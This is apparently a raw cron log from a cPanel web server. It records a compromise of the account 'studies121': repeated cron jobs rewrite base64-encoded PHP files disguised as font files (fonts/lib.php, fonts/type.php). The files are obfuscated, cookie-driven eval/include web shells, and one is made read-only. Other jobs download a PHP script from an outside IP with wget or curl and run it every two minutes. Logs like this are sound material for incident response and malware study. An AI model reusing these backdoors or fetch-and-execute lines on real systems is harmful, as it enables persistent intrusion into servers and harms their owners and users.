Sep  2 05:21:01 ip-184-168-122-23 CROND[19133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:21:01 ip-184-168-122-23 CROND[19134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:21:01 ip-184-168-122-23 CROND[19135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:21:01 ip-184-168-122-23 CROND[19139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:22:01 ip-184-168-122-23 CROND[19279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:22:02 ip-184-168-122-23 CROND[19281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:22:02 ip-184-168-122-23 CROND[19282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:22:02 ip-184-168-122-23 CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:22:02 ip-184-168-122-23 CROND[19283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:23:01 ip-184-168-122-23 CROND[19410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:23:02 ip-184-168-122-23 CROND[19413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:23:02 ip-184-168-122-23 CROND[19412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:23:02 ip-184-168-122-23 CROND[19415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:24:01 ip-184-168-122-23 CROND[19550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:24:01 ip-184-168-122-23 CROND[19551]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:24:01 ip-184-168-122-23 CROND[19554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:24:01 ip-184-168-122-23 CROND[19552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:24:01 ip-184-168-122-23 CROND[19553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:25:01 ip-184-168-122-23 CROND[19684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:25:01 ip-184-168-122-23 CROND[19691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:25:01 ip-184-168-122-23 CROND[19690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:25:01 ip-184-168-122-23 CROND[19692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:25:01 ip-184-168-122-23 CROND[19688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:25:01 ip-184-168-122-23 CROND[19689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:26:01 ip-184-168-122-23 CROND[19784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:26:01 ip-184-168-122-23 CROND[19787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:26:01 ip-184-168-122-23 CROND[19790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:26:01 ip-184-168-122-23 CROND[19791]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:26:01 ip-184-168-122-23 CROND[19792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:27:01 ip-184-168-122-23 CROND[19996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:27:01 ip-184-168-122-23 CROND[19997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:27:01 ip-184-168-122-23 CROND[19999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:27:01 ip-184-168-122-23 CROND[20001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:28:01 ip-184-168-122-23 CROND[20146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:28:01 ip-184-168-122-23 CROND[20149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:28:01 ip-184-168-122-23 CROND[20148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:28:01 ip-184-168-122-23 CROND[20151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:28:01 ip-184-168-122-23 CROND[20150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:29:01 ip-184-168-122-23 CROND[20262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:29:01 ip-184-168-122-23 CROND[20263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:29:01 ip-184-168-122-23 CROND[20265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:29:01 ip-184-168-122-23 CROND[20267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:30:01 ip-184-168-122-23 CROND[20425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:30:01 ip-184-168-122-23 CROND[20426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20429]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20430]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:30:01 ip-184-168-122-23 CROND[20434]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:31:01 ip-184-168-122-23 CROND[20540]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:31:01 ip-184-168-122-23 CROND[20542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:31:01 ip-184-168-122-23 CROND[20543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:31:01 ip-184-168-122-23 CROND[20541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:31:01 ip-184-168-122-23 CROND[20544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:32:01 ip-184-168-122-23 CROND[20727]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:32:01 ip-184-168-122-23 CROND[20731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:32:01 ip-184-168-122-23 CROND[20732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:32:01 ip-184-168-122-23 CROND[20733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:32:01 ip-184-168-122-23 CROND[20734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:33:01 ip-184-168-122-23 CROND[20827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:33:01 ip-184-168-122-23 CROND[20828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
